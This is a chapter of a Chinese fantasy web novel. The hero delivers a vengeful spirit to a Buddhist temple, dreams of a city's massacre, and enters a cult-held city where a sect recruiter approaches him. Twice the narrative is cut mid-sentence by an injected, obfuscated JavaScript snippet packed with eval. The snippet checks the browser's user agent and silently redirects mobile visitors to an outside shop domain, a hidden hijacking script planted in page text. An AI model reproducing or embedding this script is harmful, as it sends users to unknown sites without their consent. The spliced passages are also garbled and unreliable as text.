这一路走来,他听过不少关于夜游神的传说,知道那是个无恶不作的魔头,只手遮天,害了不少人。但他从来没想过自己有一天会跟那个魔头扯上关系。南宫秀和阿萝费尽心机,把自己引入彀中,口口声声说自己就是夜游神,要杀了他报仇。可他在青岩山长大,根本就不是这个世界的人。 葫芦里传来讥诮的声音,却是阿萝感到了他濒死一般的痛苦。 “你死了么?” 段星河伸出了手,李玉真便把葫芦解下来,递到了段星河手里。段星河平静道:“问你件事,为什么把我跟夜游神联系在一起?” 葫芦里静了良久,阿萝尖锐地笑了起来,道:“我就是哄骗我大伯,给他个念想,要不然他怎么活下去?三百年了,他一直活在痛苦里,想要杀了夜游神报仇。他自责得很,觉得都是自己害了全家人,却又懦弱的不敢跟他们一起去死。” 阿萝说着,声音渐渐愤怒起来:“他恨他自己,我也恨我自己。你一身虺神的煞气,我就选中你做个替死鬼,让他杀了你出口恶气。要不然就凭你还想跟夜游神扯上关系,他好歹是个枭雄。你根本不配,你连他一根脚指头都不如!” 葫芦里的声音越来越尖利,阿萝道:“你不过是沾染了一点虺神的气息,就以为自己能取代他成为神的下一个仆人了?不是人人都能成为夜游神的,你就是个废物,将来会众叛亲离、死无全尸堕入地狱,哈哈哈哈哈哈!” 阿萝的话凌厉阴狠,就像施加在他身上的诅咒。段星河被他激怒了,猛地攥紧了葫芦,嗡地一声响,强烈的灵力烧的他惨叫起来。 “啊啊啊好疼!你干什么!” 段星河的手中的灵力没有消失,反而更加强烈了。阿萝疼的不住惨叫,在葫芦里挣扎打滚,过了一阵子,他呼痛的声音越来越微弱,应该是昏过去了。 段星河把葫芦王李玉真怀里一扔,虽然报复了阿萝,自己也被气得不轻。这人是知道怎么往人心口上捅刀子的,捅完了还要撒盐。步云邪道:“这人满嘴谎话,骗过不少人了,一个字都不要信他的。” 段星河没说话,感觉外头有些寒冷。他接连两天晚上没睡,还被阿萝扎的浑身都是伤,已经熬到极限了。他沉默着上了大车,往座位上一倒,想睡一会儿。赵大海道:“走么,还是待一会儿?” 李玉真的座位被他占了,道:“那我骑马。” 这里离无双城没有多远,大家担心南宫家的人再追上来。段星河闭着眼道:“继续往前走。” 伏顺要上车,步云邪过来了,道:“你去骑我的马,我看着他。” 伏顺喔了一声,过去拍了拍步云邪的大黑马,道:“马兄,别踢我啊,我经常给你喂胡萝卜的。” 黑马抖了抖鬃毛,冲他喷了一口气。坐骑都随主子,步云邪的马也高冷的很,不准瞧不上的人碰着自己一点儿。伏顺往后退了一步,识相道:“算了,李兄骑这匹,我骑大师兄那一匹。” 大车缓缓地向前行驶,车厢内一片昏暗。段星河听着辚辚的车声,不知不觉睡着了。一片虚空之中,他听见了一阵海浪声。 “哗——哗——” 潮水有节奏地涌上沙滩,点点光芒在其中闪烁着,仿佛星子随波荡漾。他不知道这是什么地方,到处环顾,忽然听见头顶传来一阵低沉的笑声。 “小伙子,你在看什么?” 一片黑暗中,浮现出了两个红色的月亮。红月里带着两道黑色的竖纹,倏然一动,竟是活的。他生出了一身鸡皮疙瘩,那不是月亮,是巨蛇的一双眼睛! 是虺神。 它静静地注视着他,看不见身躯在什么地方,只有一双硕大的眼睛漂浮在夜空中。 段星河的心沉了下去,自己已经很久没有见它了。每次见到它,都有种不可名状的恐惧感。 虺神缓缓道:“你这么想我,是要皈依本座了么?” 段星河不知道自己是在做梦,还是真的见到了它。他攥紧了拳头,大声道:“把我身上的诅咒解除!” 跟它比起来,他太渺小了,以至于他的愤怒也变得这么不痛不痒。虺神哈哈大笑,道:“什么诅咒,是这个么?” 红色的光芒一闪,他胸口的诅咒嗡地一声响,仿佛一块烙铁重重地按在了他的心脏上。 “呜——!!!” 段星河一瞬间脑中一片空白,疼得倒在了地上。他浑身蜷曲起来,半天动弹不得,几乎以为自己就要这么死了。虺神饶有兴味地欣赏着他的痛苦,道:“看看,你现在这样多乖,本座就喜欢听话的孩子。” 段星河喘着气,良久才缓和了一些。他浑身颤抖着,觉得这条巨蛇简直不可理喻,要不然也不会养出夜游神那样的疯子。他道:“夜游神到底是什么人,跟我有什么关系?” 虺神缓缓道:“他是本座最好的仆人。你的资质不错,我想让你成为他之后的下一个仆人。” 段星河恨声道:“做你的仆人要干什么,替你杀人、屠城、献上人牲供养你?夜游神做的恶几辈子都还不完,你还想让我当下一个恶魔?” “是啊,”虺神悠然道,“本座可以赐给你至高无上的力量。你已经试过了,不是挺好用的么?” 段星河本来憋了一肚子的火,听它这么说,忽然又骂不出来了。自己不愿助纣为虐,却一次又一次地使用它的力量。若不是面临生死攸关的情形,他也不会这么做,可用了就是用了。随着一次次沾染禁忌,他身上的煞气越来越重。照这样下去,自己早晚也要被邪恶同化,坠入深渊。 虺神笑了起来,道:“怎么不说话了,你也觉得做一个恶棍比当正人君子容易多了吧。只要放下你无谓的坚持,投靠本座,我保证让你从此睥睨天下,权势、金钱,美人,一切世人渴望的都会属于你。” 段星河对那些不感兴趣,只想摆脱这一切,过自在的人生。他道:“你放弃吧,我不会为你做事的。” 虺神静了片刻,仿佛觉得他不识好歹。它沉声道:“臭小子,你以为你很高尚么?你既然想做英雄,本座就给你个机会——” 面前的情形幻化成了无双城,暗夜之中,城头的火把熊熊燃烧着。一个魁梧的男子脸上戴着面具,身上穿着黑色铠甲,站在城头上。他手里提着幽冥剑,竟是夜游神本人。 段星河睁大了眼,想看看这个传说中的魔头到底是什么模样,火光跳动着,却始终看不清楚。阿萝被绑在城头上,嘴里堵着布,拼命挣扎,眼里满是哀求的神色。 十万伥鬼聚集在城下,摩拳擦掌,准备血洗此处。 这是三百年前,夜游神屠城的那个夜晚。虺神道:“献出南宫家二百多条人命,就能平息夜游神的怒火。要不然就是全城一起陪葬,你来决定。” 段星河不知自己身在何处,他想要阻止这一切,却没办法发出声音。城头上的火光熊熊燃烧,时间在不停地流逝。他听见了城中婴孩的哭声,也看见了南宫家无数人惊惶无措的情形。 一只巴掌大的铜香炉放在城头上,一道青烟袅袅升起来。夜游神放出了话,让南宫家的人出来受死,一炷香不出来,他便要杀无双城中所有的人。 南宫秀让人紧闭大门,无论如何也不肯开。可每个人都清楚,一旦打起来,这几扇门根本什么也拦不住。夜游神等了一阵子,城中毫无动静。他把布从阿萝嘴里抽出来,道:“我看你大伯是要拉全城人陪葬了,要不然你去劝劝他?” 阿萝泪流满面,他不愿让南宫家的人死绝,只能哀声乞求。 “你杀了我吧,饶了我家里的人,也饶了这一城的百姓……他们没得罪你!” 夜游神看着城头上的香,已经燃了一大半了,缓缓道:“这世上还没有人敢这么跟本座作对,你们南宫家好得很。” 香灰落在香炉里,被风吹的明明灭灭,这一城人的性命也危在旦夕。 虺神幽幽道:“想好了么?” 已经没时间了,无论牺牲哪一方都是莫大的残忍。段星河忽然转身,一拳向虺神打去,吼道:“我要你死!” 大蛇的幻影骤然消失了,低沉的笑声回荡在夜空中,道:“两边都不选,不愧是本座看中的人,有魄力。这回这一城的人,可是因你而死了——” 没有人看得见他们,那一炷香烧到了尽头。夜游神冷笑道:“我还以为南宫秀多有骨气,也不过是个贪生怕死之徒罢了!” 他百无聊赖地一摆手,道:“都杀了吧。” 无数伥鬼提着刀冲了出去,放火烧城,砍破房门,见人就杀。阿萝被绑在城头上,拼命挣扎,放声痛哭。这里是生他养他的地方,此时却变成了活地狱,他嘶声惨叫:“不要——” 阿萝双眼通红,目眦尽裂,淌出的眼泪里都带着血。 到处一片哀嚎,火光烧天,南宫家的人被拖出来杀了个一干二净,无辜的百姓也未能幸免。无边的黑暗中,虺神浮现在夜游神的身后,赐予他强大的力量,让他肆意掠夺。虺神吸收着无数鲜活的生命,享受着这一场盛大的供奉,身躯扩张的更大了。 段星河猛地睁开了眼,发现自己身处在动荡的车厢中。步云邪担忧地看着他,道:“做噩梦了吗?” 段星河坐了起来,怔怔地出了良久的神,还沉浸在那惨烈的情形中。他明明知道那是已经发生过的事,就算自己决定舍弃南宫家的人,也无法改变无双城被屠的事实,心中仍然产生了强烈的负罪感。 那一城的人都死了,自己却没能救得了他们。痛苦的情绪像海啸一样冲击着他,那种感觉太真实了,他浑身颤抖,忍不住掩面痛哭起来。 步云邪不知道他梦见了什么,见他在睡梦中不住挣扎,正想叫墨墨过来,他忽然就醒了。步云邪很少见他落泪,一直以来他都是默默地承担着许多事,能哭一场也好,把情绪发泄出来,心里也好受一些。 段星河不知道自己为什么这么痛苦,仿佛有无穷无尽的懊悔在这一瞬间爆发出来,要找个宣泄的出口。他抬手抹去了眼泪,眼睛里还布满了血丝。 那天晚上,无双城的人都死了,阿萝被绑在城头,亲眼看着所有人被杀死。就因为南宫家的人公开了长生丹的方子,不屈从于他的淫威。 夜游神——他真是个畜生! 段星河攥紧了拳头,想狠狠揍他一顿,脑海中那个可恶的人甚至没有具体的形象。他半边身子照在火光里,半边隐藏于黑暗之中,神秘而强大,让人发自内心地恐惧、仇恨,也让无数人臣服于他。 那个身影在他心中挥之不去,段星河忽然很想去看一看夜游神到底是怎样的一个人。 步云邪把葫芦递给他,道:“喝点水吧。” 段星河喝了两口水,低头看着葫芦,又想起了阿萝。 他也是个可怜人。三百年了,世间只剩一个亲人,上不得天,投不了胎,虽然以神仙自居,却比鬼还凄惨。 他低声道:“到大悲寺了么?” 步云邪打开窗户看了一眼,往前过了河,便是一座白墙黑瓦的寺庙。他道:“前头就是了。” 段星河道:“把南宫青萝送到寺里去吧,让瀚海大师他们度化他。” 步云邪有些意外,道:“你不气了?” 气自然还是气的,但看了当年那么悲惨的情形,段星河对他实在恨不起来。他道:“跟一个孤魂野鬼没什么好计较的。” 那庙里收的都是无双城的鬼魂,把他送过去正好。过上个三五十年,等他把魂魄修起来,就能重新投胎了。 大车到了山门前,缓缓停了下来。大悲寺占地宽阔,前头的大雄宝殿宏伟庄严。莫嗔穿着一身灰色的棉袍,搂着一把大笤帚在前院扫雪,见他们来了,很是意外。段星河道:“你师父呢?” 莫嗔道:“师父在后面,我带你们去见他。” 一行人跟着小沙弥向后院走去,穿过月洞门,来到一排禅房跟前。瀚海大师手里提着一根齐眉棍,上衣脱下来扎在腰里,露着肌肉虬结的身体,正在练棍。 他把那柄长棍耍的虎虎生风,六幺忍不住赞叹道:“好棍法!” 瀚海大师甩了个花,收起了长棍,转头朝他们大步走过来,道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984004|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们怎么来了!” 段星河道:“之前那条怨蛇不是罪魁祸首,杀人的真凶我们已经找到了。” 大师十分诧异,道:“在哪儿?” 李玉真晃了晃葫芦,道:“这儿呢。” 瀚海大师伸手一碰,感觉葫芦里的妖气十分强烈,神色凝重起来,道:“这是什么?” 段星河道:“南宫家的那个玉蝉仙,本身也并非真仙,他在城里作祟,被我擒下了。他如今魂魄不全,没法投胎。不知道大师愿不愿意收下他,帮他修出完整的三魂七魄,让他重入轮回?” 玉蝉仙是南宫世家的人,瀚海大师若要收下他,南宫家必然要来找他们为难。瀚海大师的表情沉了下来,道:“待我去问问主持。” 主持大师此时正在墓园,几人一并前去,只见石雕的浮屠林立,每一个下面都埋葬着无双城中去世之人的遗骨。一个白眉老僧站在墓园中,带着几个和尚,正在为浮屠中的亡魂诵经。 瀚海大师待了片刻,上前双手合十,低声道:“师父,那几个道友抓了个鬼魂过来,不知能不能收。” 他把事情跟那白眉老和尚说了,老主持似乎有些惊讶,沉吟了片刻,朝他们走了过来。段星河行礼道:“见过主持大师。” 老主持道:“几位小施主能擒下那玉蝉仙,修为不浅啊。” 段星河苦笑了一声,他被锥子扎的眼还没好,浑身疼的像要散架了一般,自己几乎被这家伙折腾了半条命去。 他道:“此人魂魄残缺,一身戾气,大师愿意度化他么?” 老主持活了几百年,当初来到这里时,他还是个小和尚,跟着师父走街串巷地到处化缘,一砖一石地修成了这座寺庙,发愿要度化此地的所有冤魂。他庄严道:“阿弥陀佛,地狱不空誓不成佛。地藏王菩萨发此愿心,我辈自然也要尽力为之。” 众人大喜,李玉真把葫芦双手递上,主持大师接过来,走到墓园正中最大的一座浮屠跟前,伸手一抬,竟然将那座一人多高的石塔抬了起来。伏顺愕然道:“啊……这?” 老主持看起来已经有八十多岁年纪了,掀起那座石塔,就像抬起一张木头桌椅一般轻松。石塔里黑洞洞的,他把葫芦打开,一缕幽魂被吸了进去。阿萝凝聚成一个绿色的光点,在原地飘浮了片刻仿佛才苏醒过来。老主持已经放下了石塔,把它关在了其中。 阿萝放声喊道:“放我出去,你们干什么,为什么把我关在这里!” 老主持平和道:“阿弥陀佛,你魂魄不全,以后就在此处修炼。希望你能早日化解怨气,投胎为人。” 阿萝怒道:“谁要投胎做人,本座已经成了仙,日子过得好得很,你们快放了我!” 没人理会他,阿萝嘶声骂道:“姓段的臭小子,谁让你多管闲事了,把我扔给这群秃驴干什么,快放我出去!” 他愤怒的声音回荡在墓园里,周围松柏青翠,白雪皑皑。金色的阳光照下来,静静流转。和尚们对骂声充耳不闻,反而垂下眼,静静地念起了般若心经。 “观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄……” 段星河本来还担心大悲寺的人不是南宫家的对手,今日一见,这里的和尚各个都像伏虎罗汉,生着一身结实的肌肉,一看就擅长以德服人。主持大师更是老当益壮,一只手就能把上万斤的石塔托举起来。南宫秀纵使有再大的脾气,也拿他们没办法。 瀚海大师道:“放心吧,我们会好好度化他的。” 段星河心中一宽,抱拳道:“多谢。” 南宫家的人随时都可能追来,段星河不便在此处多待,就此告辞离去。浮屠中传来阿萝愤怒的声音:“我不要投胎,放我出去!放我出去!!” 主持大师道:“阿弥陀佛,苦海无边回头是岸,你还是早日放下执着吧。” 他说着双手合十,轻轻地诵起经来。其他和尚也跟着念起了经文,喁喁的声音如同潮水一般,渐渐淹没了阿萝的声音。 大车缓缓向西而行,段星河身上的伤还在疼,敷了药靠在车壁上,拢着衣裳闭着眼。他想着那天晚上被阿萝陷害的情形,本来应该无人知道的。他道:“你们是怎么来救我的?” 步云邪道:“你屋里有人扔了张纸条,上头写着你在南宫家地牢里。” 段星河一诧,道:“谁送的消息?” 步云邪道:“不知道。” 段星河寻思着自己被抓的事虽然隐秘,但也不是密不透风。他的心思微动,不知道是谁做的。这一路上虽然有不少人要害他,看来也有人不希望自己死。 他想着方才在梦中见过的情形,心又渐渐沉了下去。夜游神就像一个阴影,笼罩在他心头。他从座位底下摸出了地图,夜游神的老巢叫做永夜城,就在这附近。上面画着个蛇形的标记,跟正道宗门的大本营凤来城遥遥相对,据说城里现在还有那魔头的府邸。 段星河原本打算绕着那边走的,此时却觉得冥冥之中来到这里是一种缘分。他想知道夜游神更多的事,不想再被人牵着鼻子走,想要掌握主动权。 他道:“我想去永夜城一趟,看看夜游神当年住过的地方。” 步云邪十分意外,道:“有什么好看的,那边都是万象门的人。” 段星河道:“一直以来都是万象门的人来找咱们,我不想这么被动了。” 他说的也不无道理,但那毕竟是龙潭虎穴。步云邪皱起了眉头,道:“那地方危险的很,你可想好了。” 段星河已经打定了主意,这段时间经历的事对他的冲击太大了,他想知道夜游神到底是什么模样,做过什么事,还有虺神为什么选中了自己代替他。这些疑惑一日不解决,他一日不得安稳。 他们现在算是中立的身份,正道宗门的人对他们不怎么欢迎,邪宗的人也不至于特别针对他们。就算万象门的人发现了他,以他的本事也能全身而退。 晚上扎营的时候,段星河烤着火,说了自己去永夜城的打算。 李玉真倒抽了一口气,手里半个馒头掉进了灰堆里,道:“去那里?那可是夜游神的地盘啊!” 伏顺对此一无所知,道:“什么情况?” 六幺喝了口酒,道:“夜游神知道吧,他在永夜城修炼了不少年。据说城里的百姓都信仰虺神,如果去了,记得千万别说万象门的坏话。” 众人的神色都有些凝重,段星河不想把其他人牵扯进去,道:“你们往前走,等我瞧明白了,便来追你们。” 赵大海很担心,道:“那不成,咱们是一家人,去哪里都要一起的。” 魏小雨抬起头道:“那就一起去嘛。邪宗的人坏,正道宗门的人也动不动就要杀人炼丹,我觉得去哪儿都是一样的。” 这地方光怪陆离的,好人与坏人确实没有太大分别。众人商议了一阵,觉得去摸一摸万象门的老底也好。段星河看着地图上的永夜城,眼神沉了下去。一直以来都是万象门的人来找他们的麻烦,如今来到了这里,也该自己探一探他们的深浅了。 79.永夜城 一 一行人往西南方向走了两天,按照计划中午就能到达永夜城了。太阳刚升起来,车队经过一个大水塘,远远地就见里头泡着几个人。步云邪觉得那些人似曾相识,多看了两眼,忽然诧异道:“哎那不是……刘正阳他们么,怎么大早上的在这里洗野澡?” 段星河定睛一看,见水里泡着的真是李如芝那一行人。他们的马没了,行李也没了,只有几件脏衣裳堆在岸边,穷困潦倒,跟乞丐没什么区别。 段星河有一阵子没见他们了,没想到他们居然过得这么落魄。李司正被穷神跟了一个月,霉运罩顶,不但钱和行李都丢了,马也受惊逃走了。一群人没钱住宿吃饭,只能在外面挖野菜吃。前几天刘正阳捡了一大把蘑菇回来,信誓旦旦地说他小时候吃过这种,保证没毒,而且鲜美的很。众人被他馋的放松了警惕,炖了一大锅菌子,结果吃完了所有人都被放倒了。 几个侍卫扶着树吐了一地,虚弱不堪,简直随时要撒手人寰;另外几个人直接见到了慈祥的太奶,对着空气痴痴傻笑,一边手舞足蹈。李如芝吃的最少,毒性很快褪下去了,他看着这一帮狼狈的属下,气不打一处来。 他从生下来到现在还没受过这么大的罪,要不是步云邪那几个臭小子,自己也不至于过得这么惨。他不但抢走了皇帝的宠爱,还放穷神来折磨自己,简直是可恶至极。而刘正阳这个笨蛋,更是让他们这个本来就倒霉的队伍雪上加霜。 他越想越气,过去踢了刘正阳的屁股一脚。刘正阳迷迷糊糊的也不知道疼,反而喃喃道:“嘿嘿,你跳舞真好看,是给我一个人看的么……啊,别放蜜蜂叮我……小师叔救命!” 李司正不知道他在发什么痴,连看他一眼都觉得心累,也不知道于九这一天天怎么受得了他的。 在野外瘫了一天一夜,毒性终于褪去了。众人虚弱地躺着,又冷又饿,感觉这样的日子简直生不如死。李司正之前几次试图驱除穷神,都以失败告终。这次他痛下决心,连续做法七天七夜,豁上命去终于把穷神熬走了。 头顶的黑雾一散,众人顿时觉得一身轻松,又小心翼翼的不敢确信。李如芝如释重负,宣布道:“兄弟们,穷神走了,赶紧洗个澡去去晦气!” 一群人在附近找了个水塘,跳进去搓起了一身的滋泥,一边冻得瑟瑟发抖。于九道:“大人,穷神是送走了,咱们没钱怎么办?” 李如芝道:“我已经跟朝廷写信汇报了,说遭遇了强盗洗劫,请朝廷把物资投放到前头的永夜城。大家都打起精神来,洗完了澡,咱们就进城去领钱!” 张掖心中一喜,连忙拍马屁道:“不愧是大人,高瞻远瞩,实在是高!” 众人感觉终于时来运转了,精神也振奋起来。这时候就见一队人从大路上过来,他们此时最不想见到谁,便偏偏躲不过去。段星河骑着马走到近前,一派春风得意的模样道:“呦,是李大人啊,这么好兴致,在这儿洗澡呢?” 伏顺和李玉真从大车里冒出头来,兴奋地看着那边,跟看猴子一样。步云邪骑在马上,一眼瞥见了刘正阳,眼里露出了一点戏谑的神色。刘正阳的自尊受到了强烈的打击,哗啦一声钻进了水里,只露了个脑袋在外面。 司空玉好奇道:“怎么啦?” 六幺道:“一群乞丐洗澡,大小姐别看了,没的污了您的眼睛。” “就是,”魏小雨趴在车窗上道,“白花花的一堆肉,身材一点都不好,有的瘦的像排骨,有的长着大肚腩。” 李如芝本来就落魄,这会儿身上光溜溜的更是尴尬。他窝着火道:“怎么是你们?” 段星河微笑道:“要不说咱们有缘呢。天这么冷可别冻着了,需要帮忙么?” 他满脸写着幸灾乐祸,刘正阳双手护着胸,恼羞成怒道:“不用,滚!” 段星河同情地看了一眼于九,觉得他跟着这帮笨蛋实在倒了大霉。于九也没什么好说的,反正都已经这样了,泡在水里一副随遇而安的态度。 段星河没再说什么,一摆手带着车队走远了。走出了一段路程,段星河扯住缰绳,来到了大车边道:“顺子。” 伏顺从车里冒出了脑袋,道:“什么事,大师兄?” 段星河低声道:“机会难得,去照顾照顾他们。” 伏顺心领神会,露出了贼兮兮的笑容,道:“好!” 他从车上跳下来,悄然奔回了刚才的那个大水塘。那些人身上攒了不少泥巴,还没洗完澡,岸边堆着他们的破衣裳。伏顺猫着腰过去,把那堆衣服抱在怀里,转头就跑。 有人注意到了那边的情形,失声大叫:“有人偷咱们衣裳,喂,放下——听见没有!” 众人顿时慌了,他们本来就没钱,要是连衣服都没了,可就进不了城了。伏顺忍着笑,倒也不至于真拿走这么缺德。他跑出一段距离,把衣服往天上一扔,都扬在了一棵大杨树上。 他找了个地方躲起来,打算看好戏。李如芝急得不行,道:“赶紧去把衣服拿回来!” 谁去谁就要光屁股,一群侍卫你看看我,我看看你,碍着面子都不愿意去拿。李如芝怒道:“刘正阳,你去!” 刘正阳委屈道:“为什么让我去?” 李司正烦躁道:“你也有点用行不行,别光白吃饭,快去!” 刘正阳寻思着之前捡毒蘑菇的事还没人跟自己算账呢,这次就当戴罪立功算了。他硬着头皮从水里钻出去,一手捂着胯/下,一手指着众人道:“你们别看啊,谁也不准看!” 他光着屁股爬到了那棵大树上,费了半天劲儿,把满树的衣服扒拉下来。他身上能露的不能露的地方都露出来了,皮肤被树枝划破了好几道口子,嘴里骂骂咧咧的,这辈子都没受过这么大的屈辱。伏顺躲在不远处看了个一清二楚,拼命忍着笑,憋得肚子都疼了。 他趁着刘正阳把衣服抱回去的工夫,拔腿就跑,很快追上了自己的队伍。段星河道:“怎么样?” 伏顺兴奋道:“我把他们的衣服扔到树上去了,刘正阳光着身子去拿的,屁股都被树枝划破了,笑死我了哈哈哈哈哈!” 赵大海很感兴趣,回头道:“详细说说。” 前头不远处就是永夜城了,高大的城门若隐若现。段星河嘴角勾起了一丝笑,道:“不着急,进了城慢慢说。” 一行人进了永夜城,城里的街道宽阔整齐,远处有几座高大的建筑掩映在暮色之中。百姓的衣着干净朴素,气氛跟他们想象的不一样,这里好像跟其他的地方没有什么区别,看起来很安逸平静。 那些建筑是夜游神当年住过的府邸,修建的十分雄伟,遗留到现在已经有几百年了,经历了无数风雨依然十分坚固。据说万象门的人把这里当做了他们在夷州的一大据点,平日里经常聚集在此处。整个城池都暗沉沉的,却又十分繁华,依稀可见夜游神当年统治此处的气势。 中午时分,众人找了一间客栈落了脚,打算看看环境,没问题的话就在这儿待一阵子。 众人在大堂吃饭,段星河要了一大桌子菜,好不容易进城了,得吃点好的。他给小雨掰了一根大鸡腿,道:“挑喜欢的吃,等会儿带你去买衣裳。” 步云邪也给她盛了满满一碗鱼汤,道:“慢点吃,别噎着。” 魏小雨嘴里塞得满满的,不住点头。她之前在外流浪了这么久,受了不少罪。段星河觉得很对不起她,想好好补偿小师妹。魏小雨却一点也没怨他们,还是跟从前一样,每天都过得挺开心。段星河好不容易找到她了,打算若是遇到回去的通道,就先把她送回去。魏小雨知道了段星河身上有诅咒的事,认真道:“我不走,我要跟你们一起。” 段星河道:“你娘在家想你呢。” 魏小雨摇了摇头,道:“我想跟你们在一起,家什么时候都能回的。” 段星河知道她是不放心自己,反正现在说这些也没用,还不知道哪里能找到通道。他道:“那就先往巴蜀走吧,路上看看情况再说。” 众人吃着饭,伏顺还在跟赵大海说刘正阳的事,眉飞色舞地比划道:“他的屁股有这么大一个,白的很,跟发面馒头似的……” 赵大海道:“人都脱光了,你就光看腚啦?” 伏顺心领神会道:“那个挺小的。听说那里小的人,脾气都特别大。” 赵大海道:“怕别人瞧不起他吧。” 魏小雨插嘴道:“什么小?” 伏顺沉默了,魏小雨忽然明白过来,坐直了道:“牛牛吗?” 步云邪弹了她个脑瓜崩,道:“小女孩儿家家的,别胡说八道!” 魏小雨捂着脑袋闭上了嘴,司空玉给她舀了一碗玉米羹,道:“非礼勿听,非礼勿视,非礼勿言。” 魏小雨喔了一声,规规矩矩地坐好了。伏顺还想着刘正阳狼狈的模样,低声跟赵大海说了几句,两个人一起哈哈地笑了。大堂中有人看了过来,表情很不耐烦。更有人把大刀往桌上重重一拍,发出了哐的一声响。 段星河看了那边一眼,见几个人长着络腮胡子,人高马大的,一副不好相与的模样。永夜城鱼龙混杂,不比别处。段星河低声道:“收敛一点,别惹事。” 两个穿灰袍的和尚从街上经过,年长的那个四十多岁年纪,另一个十五六岁左右,两人手里拿着铜钵,里头空空如也。李玉真靠窗户坐着,远远地见他们挨家挨户地行礼化缘。商户却对他们十分冷淡,有的更是粗暴地挥手驱赶他们。 李玉真碰了碰段星河,道:“段兄,你看。” 段星河回过头去,见那两个和尚被一个大婶拿笤帚赶了出来。她把门前的尘土扫得满天飞,没好气道:“没有、没有,我们这里不供养和尚!” 大和尚也不生气,道:“阿弥陀佛,打扰了。” 这里的人虽然不至于伤害信奉其他宗教的人,但也对他们十分冷淡。出门在外都不容易,段星河叹了口气,他与瀚海大师相交,便对天底下的和尚都有几分好感。他出门买了几个素馒头,过去递给了那两个和尚,道:“大师,请用吧。” 段星河穿着一身蓝色的常服,像个行走江湖的剑客。李玉真跟在旁边,穿着一身青色的道袍,头上梳着个道髻,对他们微微一笑。 大和尚双手合十道:“多谢施主。” 段星河道:“不必客气,应该的。” 另一个和尚年轻,忍不住道:“你们也是过路的吗,这里的人都不给饭,好小气啊!” 大和尚道:“唉,不得生嗔念,这也是佛祖给咱们的考验。” 客栈里有人看着这边,哈哈大笑。一个中年汉子道:“道士给和尚施舍饭,笑死人了。吃了你们的饭,是不是要跟你去拜三清啦?” 李玉真道:“儒释道本是一家,互相帮一把又有什么了?” 那汉子没听见他嘟嘟囔囔的说什么,大声道:“劝你们一句,赶紧走吧,这里只信仰虺神,和尚道士都不欢迎的!” 段星河倒是没什么所谓,道:“也不用多欢迎,不赶人就行。” 大汉道:“那倒是不至于,街上这么多要饭的,也没见人撵呢。” 年轻的和尚有点生气,大和尚却只当没听见,朝段星河行了一礼,道:“施主,有缘再见。” 天这么冷,那两个人穿着薄棉袍在路上行走,也不以为苦。段星河望着他们的身影,仿佛有所触动,片刻道:“回去吧。” 饭已经吃的差不多了,几人要了一壶龙井喝茶。此时刚才那个嘲笑他们的人回头道:“兄弟,你们从哪儿来的?” 段星河看了那边一眼,正好也想跟当地的人套些话,便道:“我们从巴蜀来的,出来历练。” 那人道:“我看你们资质不错,要不要加入我们万象门?” 段星河被问的一愣,本来以为万象门是个神秘的组织,没想到他们这么直接在外面拉人。他转念一想,永夜城是夜游神的领地,这里的人大部分信奉虺神,他们把这事摆在明面上说也没什么大不了的。其他人都听见了,也见怪不怪,好像一个月里总能见这人拉几个人头。 段星河放下了茶杯,故意道:“我修道修的好好的,为什么要加入万象门?” 那人低下声音道:“加入万象门的好处可多了,教里有让人长生不老的功法,也能让人获得现实的满足。无论你想要什么,财富、女人、成功,无所不能的虺神都能赐给我们!” 他的神色认真,对自己所说的一切深信不疑。段星河看他衣裳洗的发白,袖口都绽了线,实在不像是已经得到这么大好处的样子,道:“喔,那阁下在里面很受重用了?” 那人有点尴尬,道:“我负责做接引人,上头自然十分看重我。我看你还不错,要不要来试试?” 段星河道:“加入需要什么条件?” 那人显得有些神秘,道:“只要你自己有一定的本事,便会有人来跟你接洽,后续还得经过一些考验才能成为正式的教众。我看你有些修为,比一般人强多了,肯定很容易就能通过考验。” 段星河淡淡道:“兄台过誉了,我就是个乡野道士而已。” 其他人已经吃饱喝足了,纷纷站了起来。伏顺道:“哥,走啦。” 那人望着他道:“喂,你不再考虑考虑吗?” 段星河微微一笑,道:“不必了,我自小信仰三清,改不了的。” 那人十分失望,看着那些人上楼去了,转头又盯着大街上,想看看有没有什么路过的外乡人,好拉他们充数。 时值正午,李如芝带着一群破衣烂衫的手下进了永夜城。路上的人都奇怪地看着他们,不知道街上怎么多了这么些乞丐。李如芝最近被人当成要饭的已经习惯了,也不顾别人的目光,打听着找到了驿站。大幽本来就信仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996734|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虺神,他们把东西投放在这里也没受到阻碍。驿站的伙计们十分诧异,上下打量道:“东西是给你们的?” 李如芝道:“我是大幽钦天监的司正,这是我的腰牌,你看好了。” 他们每个人都破衣烂衫的,实在不像给大幽朝廷办差的人。伙计道:“不是……你们怎么这个样子?” 李如芝也没办法跟他解释太多,道:“我们路上遇见了强盗,东西都被抢了。” 伙计喔了一声,同情道:“这世道不太平,出门在外可得小心。” 李如芝等人领了衣服、盘缠和马匹,跟驿站借地方换了衣裳,又打扮的光鲜起来。众人来到前头的悦来客栈门前,小二哥上前迎接道:“几位爷,打尖还是住店?” 李司正被穷神折腾了这么久,想找个地方好好泡个热水澡,安心地睡上几天大觉,吃点好的补回来,开春之前都不想走了。他道:“住店,先付十天的吧。上一桌好酒好菜,爷们都饿了。” 小二哥眉开眼笑,连忙道:“快请进,请坐,菜马上就来!” 